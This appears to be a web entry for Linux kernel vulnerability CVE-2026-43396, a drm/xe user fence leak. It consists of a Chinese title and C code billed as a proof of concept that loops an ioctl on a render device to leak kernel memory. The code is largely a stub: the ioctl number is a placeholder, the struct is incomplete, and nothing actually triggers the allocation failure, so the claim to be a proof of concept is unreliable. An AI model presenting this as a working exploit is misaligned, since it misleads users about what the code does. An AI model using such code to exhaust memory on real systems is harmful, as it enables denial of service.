CVE-2026-43396 Linux内核drm/xe用户栅栏泄漏漏洞

/* * PoC for CVE-2026-43396: User fence leak on alloc failure * This code attempts to trigger the memory leak by interacting with the DRM device. * Note: Actual exploitation requires specific kernel configurations and triggering conditions. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> // Placeholder for the actual device path and IOCTL definitions #define DRM_DEVICE "/dev/dri/renderD128" #define DRM_IOCTL_XE_EXEC 0x00 // Placeholder, replace with actual IOCTL struct drm_xe_exec { __u64 extensions; // Pointer to exec array __u32 num_syncs; // Number of sync objects // ... other fields }; int main() { int fd = open(DRM_DEVICE, O_RDWR); if (fd < 0) { perror("Failed to open DRM device"); return 1; } printf("Starting PoC for CVE-2026-43396...\n"); // Loop to repeatedly trigger the allocation failure path for (int i = 0; i < 100000; i++) { struct drm_xe_exec exec = {0}; // Craft input to potentially trigger alloc failure logic // In a real scenario, this might involve exhausting specific memory pools // or providing parameters that lead to dma_fence_chain_alloc() failing. // Call the IOCTL if (ioctl(fd, DRM_IOCTL_XE_EXEC, &exec) != 0) { // Failure is expected or induced to hit the leak path // perror("IOCTL failed"); } } close(fd); printf("PoC finished. Monitor kernel memory for leaks (slabtop, etc.).\n"); return 0; }